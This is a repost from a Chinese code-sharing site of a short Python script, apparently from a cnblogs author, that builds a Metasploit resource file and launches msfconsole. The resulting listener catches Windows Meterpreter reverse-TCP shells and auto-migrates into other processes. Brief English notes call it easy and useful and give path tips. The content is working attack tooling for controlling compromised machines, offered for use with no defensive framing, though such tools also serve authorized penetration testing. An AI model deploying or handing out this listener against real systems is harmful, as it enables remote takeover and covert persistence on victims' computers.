码迷,mamicode.com
首页 > 其他好文 > 详细

Quickly Start Listener scripts

时间:2016-08-22 14:59:40      阅读:109      评论:0      收藏:0      [点我收藏+]

标签:

#!/usr/bin/python
#
# StartListener.py
# Simple python script to start a Meterpreter Listener
# Auto Inject to other process
# github: https://raw.github.com/obscuresec/random/master/StartListener.py

import sys import subprocess #write a resource file and call it def build(lhost,lport): options = "use exploit/multi/handler\n" options += "set payload windows/meterpreter/reverse_tcp\nset LHOST {0}\nset LPORT {1}\n".format(lhost,lport) options += "set ExitOnSession false\nset AutoRunScript post/windows/manage/smart_migrate\nexploit -j\n" filewrite = file("listener.rc", "w") filewrite.write(options) filewrite.close() subprocess.Popen("/usr/share/metasploit-framework/msfconsole -r listener.rc", shell=True).wait() #grab args try: lhost = sys.argv[1] lport = sys.argv[2] build(lhost,lport) #index error except IndexError: print "python StartListener.py lhost lport"

A easy but useful script. It create a file of metaspolit and load it to start a listener quickly.

You can change the listener type you what.

Before using it, you may also have to change the path of msfconsole file.

 If you installed the metaspolit-framework on you system, you can use "/usr/bin/msfconsole"

技术分享

技术分享

 

Quickly Start Listener scripts

标签:

原文地址:http://www.cnblogs.com/ssooking/p/5795595.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!